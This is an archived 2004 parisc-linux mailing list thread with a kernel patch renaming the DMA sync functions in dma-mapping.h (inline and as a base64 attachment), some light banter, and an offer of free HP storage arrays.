>> On Wed, Mar 17, 2004 at 12:39:38PM +0100, Joel Soete wrote:
>> for which the following trivial patch help to build (at least):
>
>Applied, thanks

It boot fine :)

Thanks a lot,
   joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI broken in latest CVS changes
Date: Wed, 17 Mar 2004 15:20:38 +0100
Lines: 209
Approved: news@gmane.org
Message-ID: <40561E950000172D@ocpmta3.freegates.net>
References: <20040317121538.GE25059@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="========/40561E950000172D/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623280 6955 80.91.229.3 (22 Nov 2014 02:28:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Wed Mar 17 07:20:45 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0354F4852
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Mar 2004 07:20:45 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B3buR-0002tg-00; Wed, 17 Mar 2004 15:20:39 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 17 Mar 2004 15:20:38 +0100
In-Reply-To: <20040317121538.GE25059@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Mar 2004 14:20:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21117


--========/40561E950000172D/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

oops my very bad, I just figure out that I also include the following patch
from upstream (which seems to be missed but may be there was a good reason?):
diff -Nru a/include/asm-parisc/dma-mapping.h b/include/asm-parisc/dma-mapping.h
--- a/include/asm-parisc/dma-mapping.h	Mon Mar 15 21:48:01 2004
+++ b/include/asm-parisc/dma-mapping.h	Mon Mar 15 21:48:01 2004
@@ -15,8 +15,10 @@
 	void (*unmap_single)(struct device *dev, dma_addr_t iova, size_t size,
enum dma_data_direction direction);
 	int  (*map_sg)(struct device *dev, struct scatterlist *sg, int nents, enum
dma_data_direction direction);
 	void (*unmap_sg)(struct device *dev, struct scatterlist *sg, int nhwents,
enum dma_data_direction direction);
-	void (*dma_sync_single)(struct device *dev, dma_addr_t iova, unsigned long
offset, size_t size, enum dma_data_direction direction);
-	void (*dma_sync_sg)(struct device *dev, struct scatterlist *sg, int nelems,
enum dma_data_direction direction);
+	void (*dma_sync_single_for_cpu)(struct device *dev, dma_addr_t iova, unsigned
long offset, size_t size, enum dma_data_direction direction);
+	void (*dma_sync_single_for_device)(struct device *dev, dma_addr_t iova,
unsigned long offset, size_t size, enum dma_data_direction direction);
+	void (*dma_sync_sg_for_cpu)(struct device *dev, struct scatterlist *sg,
int nelems, enum dma_data_direction direction);
+	void (*dma_sync_sg_for_device)(struct device *dev, struct scatterlist *sg,
int nelems, enum dma_data_direction direction);
 };
 
 /*
@@ -116,28 +118,53 @@
 
 
 static inline void
-dma_sync_single(struct device *dev, dma_addr_t dma_handle, size_t size,
+dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, size_t
size,
 		enum dma_data_direction direction)
 {
-	if(hppa_dma_ops->dma_sync_single)
-		hppa_dma_ops->dma_sync_single(dev, dma_handle, 0, size, direction);
+	if(hppa_dma_ops->dma_sync_single_for_cpu)
+		hppa_dma_ops->dma_sync_single_for_cpu(dev, dma_handle, 0, size, direction);
 }
 
 static inline void
-dma_sync_single_range(struct device *dev, dma_addr_t dma_handle,
+dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle, size_t
size,
+		enum dma_data_direction direction)
+{
+	if(hppa_dma_ops->dma_sync_single_for_device)
+		hppa_dma_ops->dma_sync_single_for_device(dev, dma_handle, 0, size, direction);
+}
+
+static inline void
+dma_sync_single_range_for_cpu(struct device *dev, dma_addr_t dma_handle,
+		      unsigned long offset, size_t size,
+		      enum dma_data_direction direction)
+{
+	if(hppa_dma_ops->dma_sync_single_for_cpu)
+		hppa_dma_ops->dma_sync_single_for_cpu(dev, dma_handle, offset, size, direction);
+}
+
+static inline void
+dma_sync_single_range_for_device(struct device *dev, dma_addr_t dma_handle,
 		      unsigned long offset, size_t size,
 		      enum dma_data_direction direction)
 {
-	if(hppa_dma_ops->dma_sync_single)
-		hppa_dma_ops->dma_sync_single(dev, dma_handle, offset, size, direction);
+	if(hppa_dma_ops->dma_sync_single_for_device)
+		hppa_dma_ops->dma_sync_single_for_device(dev, dma_handle, offset, size,
direction);
+}
+
+static inline void
+dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nelems,
+		 enum dma_data_direction direction)
+{
+	if(hppa_dma_ops->dma_sync_sg_for_cpu)
+		hppa_dma_ops->dma_sync_sg_for_cpu(dev, sg, nelems, direction);
 }
 
 static inline void
-dma_sync_sg(struct device *dev, struct scatterlist *sg, int nelems,
+dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg, int nelems,
 		 enum dma_data_direction direction)
 {
-	if(hppa_dma_ops->dma_sync_sg)
-		hppa_dma_ops->dma_sync_sg(dev, sg, nelems, direction);
+	if(hppa_dma_ops->dma_sync_sg_for_device)
+		hppa_dma_ops->dma_sync_sg_for_device(dev, sg, nelems, direction);
 }
 
 static inline int
@@ -166,14 +193,14 @@
 static inline int
 dma_is_consistent(dma_addr_t dma_addr)
 {
-	return (hppa_dma_ops->dma_sync_single == NULL);
+	return (hppa_dma_ops->dma_sync_single_for_cpu == NULL);
 }
 
 static inline void
 dma_cache_sync(void *vaddr, size_t size,
 	       enum dma_data_direction direction)
 {
-	if(hppa_dma_ops->dma_sync_single)
+	if(hppa_dma_ops->dma_sync_single_for_cpu)
 		flush_kernel_dcache_range((unsigned long)vaddr, size);
 }
========><========

Sorry,
    joel

ps: see attachement if bad wrapping of my webmail

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr




--========/40561E950000172D/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="include_asm-parisc_dma-mapping.h.patch"

ZGlmZiAtTnJ1IGEvaW5jbHVkZS9hc20tcGFyaXNjL2RtYS1tYXBwaW5nLmggYi9pbmNsdWRlL2Fz
bS1wYXJpc2MvZG1hLW1hcHBpbmcuaAotLS0gYS9pbmNsdWRlL2FzbS1wYXJpc2MvZG1hLW1hcHBp
bmcuaAlNb24gTWFyIDE1IDIxOjQ4OjAxIDIwMDQKKysrIGIvaW5jbHVkZS9hc20tcGFyaXNjL2Rt
YS1tYXBwaW5nLmgJTW9uIE1hciAxNSAyMTo0ODowMSAyMDA0CkBAIC0xNSw4ICsxNSwxMCBAQAog
CXZvaWQgKCp1bm1hcF9zaW5nbGUpKHN0cnVjdCBkZXZpY2UgKmRldiwgZG1hX2FkZHJfdCBpb3Zh
LCBzaXplX3Qgc2l6ZSwgZW51bSBkbWFfZGF0YV9kaXJlY3Rpb24gZGlyZWN0aW9uKTsKIAlpbnQg
ICgqbWFwX3NnKShzdHJ1Y3QgZGV2aWNlICpkZXYsIHN0cnVjdCBzY2F0dGVybGlzdCAqc2csIGlu
dCBuZW50cywgZW51bSBkbWFfZGF0YV9kaXJlY3Rpb24gZGlyZWN0aW9uKTsKIAl2b2lkICgqdW5t
YXBfc2cpKHN0cnVjdCBkZXZpY2UgKmRldiwgc3RydWN0IHNjYXR0ZXJsaXN0ICpzZywgaW50IG5o
d2VudHMsIGVudW0gZG1hX2RhdGFfZGlyZWN0aW9uIGRpcmVjdGlvbik7Ci0Jdm9pZCAoKmRtYV9z
eW5jX3NpbmdsZSkoc3RydWN0IGRldmljZSAqZGV2LCBkbWFfYWRkcl90IGlvdmEsIHVuc2lnbmVk
IGxvbmcgb2Zmc2V0LCBzaXplX3Qgc2l6ZSwgZW51bSBkbWFfZGF0YV9kaXJlY3Rpb24gZGlyZWN0
aW9uKTsKLQl2b2lkICgqZG1hX3N5bmNfc2cpKHN0cnVjdCBkZXZpY2UgKmRldiwgc3RydWN0IHNj
YXR0ZXJsaXN0ICpzZywgaW50IG5lbGVtcywgZW51bSBkbWFfZGF0YV9kaXJlY3Rpb24gZGlyZWN0
aW9uKTsKKwl2b2lkICgqZG1hX3N5bmNfc2luZ2xlX2Zvcl9jcHUpKHN0cnVjdCBkZXZpY2UgKmRl
diwgZG1hX2FkZHJfdCBpb3ZhLCB1bnNpZ25lZCBsb25nIG9mZnNldCwgc2l6ZV90IHNpemUsIGVu
dW0gZG1hX2RhdGFfZGlyZWN0aW9uIGRpcmVjdGlvbik7CisJdm9pZCAoKmRtYV9zeW5jX3Npbmds
ZV9mb3JfZGV2aWNlKShzdHJ1Y3QgZGV2aWNlICpkZXYsIGRtYV9hZGRyX3QgaW92YSwgdW5zaWdu
ZWQgbG9uZyBvZmZzZXQsIHNpemVfdCBzaXplLCBlbnVtIGRtYV9kYXRhX2RpcmVjdGlvbiBkaXJl
Y3Rpb24pOworCXZvaWQgKCpkbWFfc3luY19zZ19mb3JfY3B1KShzdHJ1Y3QgZGV2aWNlICpkZXYs
IHN0cnVjdCBzY2F0dGVybGlzdCAqc2csIGludCBuZWxlbXMsIGVudW0gZG1hX2RhdGFfZGlyZWN0
aW9uIGRpcmVjdGlvbik7CisJdm9pZCAoKmRtYV9zeW5jX3NnX2Zvcl9kZXZpY2UpKHN0cnVjdCBk
ZXZpY2UgKmRldiwgc3RydWN0IHNjYXR0ZXJsaXN0ICpzZywgaW50IG5lbGVtcywgZW51bSBkbWFf
ZGF0YV9kaXJlY3Rpb24gZGlyZWN0aW9uKTsKIH07CiAKIC8qCkBAIC0xMTYsMjggKzExOCw1MyBA
QAogCiAKIHN0YXRpYyBpbmxpbmUgdm9pZAotZG1hX3N5bmNfc2luZ2xlKHN0cnVjdCBkZXZpY2Ug
KmRldiwgZG1hX2FkZHJfdCBkbWFfaGFuZGxlLCBzaXplX3Qgc2l6ZSwKK2RtYV9zeW5jX3Npbmds
ZV9mb3JfY3B1KHN0cnVjdCBkZXZpY2UgKmRldiwgZG1hX2FkZHJfdCBkbWFfaGFuZGxlLCBzaXpl
X3Qgc2l6ZSwKIAkJZW51bSBkbWFfZGF0YV9kaXJlY3Rpb24gZGlyZWN0aW9uKQogewotCWlmKGhw
cGFfZG1hX29wcy0+ZG1hX3N5bmNfc2luZ2xlKQotCQlocHBhX2RtYV9vcHMtPmRtYV9zeW5jX3Np
bmdsZShkZXYsIGRtYV9oYW5kbGUsIDAsIHNpemUsIGRpcmVjdGlvbik7CisJaWYoaHBwYV9kbWFf
b3BzLT5kbWFfc3luY19zaW5nbGVfZm9yX2NwdSkKKwkJaHBwYV9kbWFfb3BzLT5kbWFfc3luY19z
aW5nbGVfZm9yX2NwdShkZXYsIGRtYV9oYW5kbGUsIDAsIHNpemUsIGRpcmVjdGlvbik7CiB9CiAK
IHN0YXRpYyBpbmxpbmUgdm9pZAotZG1hX3N5bmNfc2luZ2xlX3JhbmdlKHN0cnVjdCBkZXZpY2Ug
KmRldiwgZG1hX2FkZHJfdCBkbWFfaGFuZGxlLAorZG1hX3N5bmNfc2luZ2xlX2Zvcl9kZXZpY2Uo
c3RydWN0IGRldmljZSAqZGV2LCBkbWFfYWRkcl90IGRtYV9oYW5kbGUsIHNpemVfdCBzaXplLAor
CQllbnVtIGRtYV9kYXRhX2RpcmVjdGlvbiBkaXJlY3Rpb24pCit7CisJaWYoaHBwYV9kbWFfb3Bz
LT5kbWFfc3luY19zaW5nbGVfZm9yX2RldmljZSkKKwkJaHBwYV9kbWFfb3BzLT5kbWFfc3luY19z
aW5nbGVfZm9yX2RldmljZShkZXYsIGRtYV9oYW5kbGUsIDAsIHNpemUsIGRpcmVjdGlvbik7Cit9
CisKK3N0YXRpYyBpbmxpbmUgdm9pZAorZG1hX3N5bmNfc2luZ2xlX3JhbmdlX2Zvcl9jcHUoc3Ry
dWN0IGRldmljZSAqZGV2LCBkbWFfYWRkcl90IGRtYV9oYW5kbGUsCisJCSAgICAgIHVuc2lnbmVk
IGxvbmcgb2Zmc2V0LCBzaXplX3Qgc2l6ZSwKKwkJICAgICAgZW51bSBkbWFfZGF0YV9kaXJlY3Rp
b24gZGlyZWN0aW9uKQoreworCWlmKGhwcGFfZG1hX29wcy0+ZG1hX3N5bmNfc2luZ2xlX2Zvcl9j
cHUpCisJCWhwcGFfZG1hX29wcy0+ZG1hX3N5bmNfc2luZ2xlX2Zvcl9jcHUoZGV2LCBkbWFfaGFu
ZGxlLCBvZmZzZXQsIHNpemUsIGRpcmVjdGlvbik7Cit9CisKK3N0YXRpYyBpbmxpbmUgdm9pZAor
ZG1hX3N5bmNfc2luZ2xlX3JhbmdlX2Zvcl9kZXZpY2Uoc3RydWN0IGRldmljZSAqZGV2LCBkbWFf
YWRkcl90IGRtYV9oYW5kbGUsCiAJCSAgICAgIHVuc2lnbmVkIGxvbmcgb2Zmc2V0LCBzaXplX3Qg
c2l6ZSwKIAkJICAgICAgZW51bSBkbWFfZGF0YV9kaXJlY3Rpb24gZGlyZWN0aW9uKQogewotCWlm
KGhwcGFfZG1hX29wcy0+ZG1hX3N5bmNfc2luZ2xlKQotCQlocHBhX2RtYV9vcHMtPmRtYV9zeW5j
X3NpbmdsZShkZXYsIGRtYV9oYW5kbGUsIG9mZnNldCwgc2l6ZSwgZGlyZWN0aW9uKTsKKwlpZiho
cHBhX2RtYV9vcHMtPmRtYV9zeW5jX3NpbmdsZV9mb3JfZGV2aWNlKQorCQlocHBhX2RtYV9vcHMt
PmRtYV9zeW5jX3NpbmdsZV9mb3JfZGV2aWNlKGRldiwgZG1hX2hhbmRsZSwgb2Zmc2V0LCBzaXpl
LCBkaXJlY3Rpb24pOworfQorCitzdGF0aWMgaW5saW5lIHZvaWQKK2RtYV9zeW5jX3NnX2Zvcl9j
cHUoc3RydWN0IGRldmljZSAqZGV2LCBzdHJ1Y3Qgc2NhdHRlcmxpc3QgKnNnLCBpbnQgbmVsZW1z
LAorCQkgZW51bSBkbWFfZGF0YV9kaXJlY3Rpb24gZGlyZWN0aW9uKQoreworCWlmKGhw
cGFfZG1hX29wcy0+ZG1hX3N5bmNfc2dfZm9yX2NwdSkKKwkJaHBwYV9kbWFfb3BzLT5kbWFfc3lu
Y19zZ19mb3JfY3B1KGRldiwgc2csIG5lbGVtcywgZGlyZWN0aW9uKTsKIH0KIAogc3RhdGljIGlu
bGluZSB2b2lkCi1kbWFfc3luY19zZyhzdHJ1Y3QgZGV2aWNlICpkZXYsIHN0cnVjdCBzY2F0dGVy
bGlzdCAqc2csIGludCBuZWxlbXMsCitkbWFfc3luY19zZ19mb3JfZGV2aWNlKHN0cnVjdCBkZXZp
Y2UgKmRldiwgc3RydWN0IHNjYXR0ZXJsaXN0ICpzZywgaW50IG5lbGVtcywKIAkJIGVudW0gZG1h
X2RhdGFfZGlyZWN0aW9uIGRpcmVjdGlvbikKIHsKLQlpZihocHBhX2RtYV9vcHMtPmRtYV9zeW5j
X3NnKQotCQlocHBhX2RtYV9vcHMtPmRtYV9zeW5jX3NnKGRldiwgc2csIG5lbGVtcywgZGlyZWN0
aW9uKTsKKwlpZihocHBhX2RtYV9vcHMtPmRtYV9zeW5jX3NnX2Zvcl9kZXZpY2UpCisJCWhwcGFf
ZG1hX29wcy0+ZG1hX3N5bmNfc2dfZm9yX2RldmljZShkZXYsIHNnLCBuZWxlbXMsIGRpcmVjdGlv
bik7CiB9CiAKIHN0YXRpYyBpbmxpbmUgaW50CkBAIC0xNjYsMTQgKzE5MywxNCBAQAogc3RhdGlj
IGlubGluZSBpbnQKIGRtYV9pc19jb25zaXN0ZW50KGRtYV9hZGRyX3QgZG1hX2FkZHIpCiB7Ci0J
cmV0dXJuIChocHBhX2RtYV9vcHMtPmRtYV9zeW5jX3NpbmdsZSA9PSBOVUxMKTsKKwlyZXR1cm4g
KGhwcGFfZG1hX29wcy0+ZG1hX3N5bmNfc2luZ2xlX2Zvcl9jcHUgPT0gTlVMTCk7CiB9CiAKIHN0
YXRpYyBpbmxpbmUgdm9pZAogZG1hX2NhY2hlX3N5bmModm9pZCAqdmFkZHIsIHNpemVfdCBzaXpl
LAogCSAgICAgICBlbnVtIGRtYV9kYXRhX2RpcmVjdGlvbiBkaXJlY3Rpb24pCiB7Ci0JaWYoaHBw
YV9kbWFfb3BzLT5kbWFfc3luY19zaW5nbGUpCisJaWYoaHBwYV9kbWFfb3BzLT5kbWFfc3luY19z
aW5nbGVfZm9yX2NwdSkKIAkJZmx1c2hfa2VybmVsX2RjYWNoZV9yYW5nZSgodW5zaWduZWQgbG9u
Zyl2YWRkciwgc2l6ZSk7CiB9CiAK

--========/40561E950000172D/mail.tiscali.be--


From - Thu Nov 08 21:31:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI broken in latest CVS changes
Date: Wed, 17 Mar 2004 15:47:07 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <40561E95000017A4@ocpmta3.freegates.net>
References: <40561E950000172D@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623280 6961 80.91.229.3 (22 Nov 2014 02:28:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Wed Mar 17 07:47:12 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95F714852
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Mar 2004 07:47:12 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B3cK3-00012d-00; Wed, 17 Mar 2004 15:47:07 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 17 Mar 2004 15:47:07 +0100
In-Reply-To: <40561E950000172D@ocpmta3.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Mar 2004 14:47:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21118

Oops again, it seems that I smook too much???

Sorry for inconvenience,
    joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI broken in latest CVS changes
Date: Wed, 17 Mar 2004 14:51:17 +0000 (GMT)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0403171450150.3979@sal.ucc.ie>
References: <40561E95000017A4@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623280 6965 80.91.229.3 (22 Nov 2014 02:28:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:00 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: xam@cs.ucc.ie  Wed Mar 17 07:51:20 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id E91454852
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Mar 2004 07:51:19 -0700 (MST)
Original-Received: from sal.ucc.ie (xam@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i2HEpHA0024608;
	Wed, 17 Mar 2004 14:51:17 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <40561E95000017A4@ocpmta3.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Mar 2004 14:51:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21119

On Wed, 17 Mar 2004, Joel Soete wrote:

> Oops again, it seems that I smook too much???

Usually it doesn't matter how much you smoke, but *what* you smoke!

Happy St. Patrick's Day!
  Max


From - Thu Nov 08 21:31:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Dougherty <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP A3312A High Availability Jamaica storage arrays
Date: Wed, 17 Mar 2004 13:02:00 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <40589298.CAF58D32@cypress-tech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623280 6969 80.91.229.3 (22 Nov 2014 02:28:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: jesse@cypress-tech.com  Wed Mar 17 10:59:26 2004
Return-Path: <jesse@cypress-tech.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cypress2.cypress-tech.com (tamqfl1-53-130.biz.dsl.gtei.net
	[209.241.53.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F8DB48FC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Mar 2004 10:59:26 -0700 (MST)
Original-Received: from cypress-tech.com ([209.241.53.131]) by
	cypress2.cypress-tech.com with Microsoft SMTPSVC(5.0.2195.6713);
	Wed, 17 Mar 2004 12:57:24 -0500
X-Mailer: Mozilla 4.77 [en] (Win98; U)
X-Accept-Language: en
X-OriginalArrivalTime: 17 Mar 2004 17:57:24.0148 (UTC)
	FILETIME=[4D412F40:01C40C49]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Mar 2004 17:59:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21120

I still have several of these arrays (free) if anyone want some.

We are moving locations and need to clean out some hardware in our
warehouse. We have about 40 of these A3312A rack-mount " High
Availability Jamaica arrays taking up space and we really don't want to
trash them. If anyone wants any, we are giving them away, I only ask
that you pay for
shipping out of Tampa (33762). They are good storage arrays that work in
MPE/iX, HP-UX, & Windows/NT environment, we have the racking hardware
and both fans and power supplies are included. They take either FWD or
SE drives and the capacity is 8 low profile drives. If your interested
in getting one of these arrays or if you want some additional
specifications
of the A3312A sent to you, feel free to contact me.

Thanks
Jesse
Cypress Technology Inc
Re-Sellers of HP hardware
Jesse@cypress-tech.com




From - Thu Nov 08 21:31:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP A3312A High Availability Jamaica storage arrays
Date: Wed, 17 Mar 2004 19:14:58 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <20040317191458.6cfad3e5.gmsoft@gentoo.org>
References: <40589298.CAF58D32@cypress-tech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
	micalg="pgp-sha1"; boundary="=.ZLg)3cpGtHoZOc"
X-Trace: ger.gmane.org 1416623281 6972 80.91.229.3 (22 Nov 2014 02:28:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: gmsoft@gentoo.org  Wed Mar 17 11:18:58 2004
Return-Path: <gmsoft@gentoo.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from stargate.da-kot (user-212-88-246-186.tvcablenet.be
	[212.88.246.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19D1A48FC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Mar 2004 11:18:58 -0700 (MST)
Original-Received: from gmsoft.lln.tuxicoman.be ([2001:6f8:204:aa00:210:a7ff:fe10:1a3e]
	helo=guy.da-kot)
	by stargate.da-kot with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.22)
	id 1B3fd2-00037O-HN
	for parisc-linux@lists.parisc-linux.org; Wed, 17 Mar 2004 19:18:56 +0100
In-Reply-To: <40589298.CAF58D32@cypress-tech.com>
X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Mar 2004 18:18:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21121

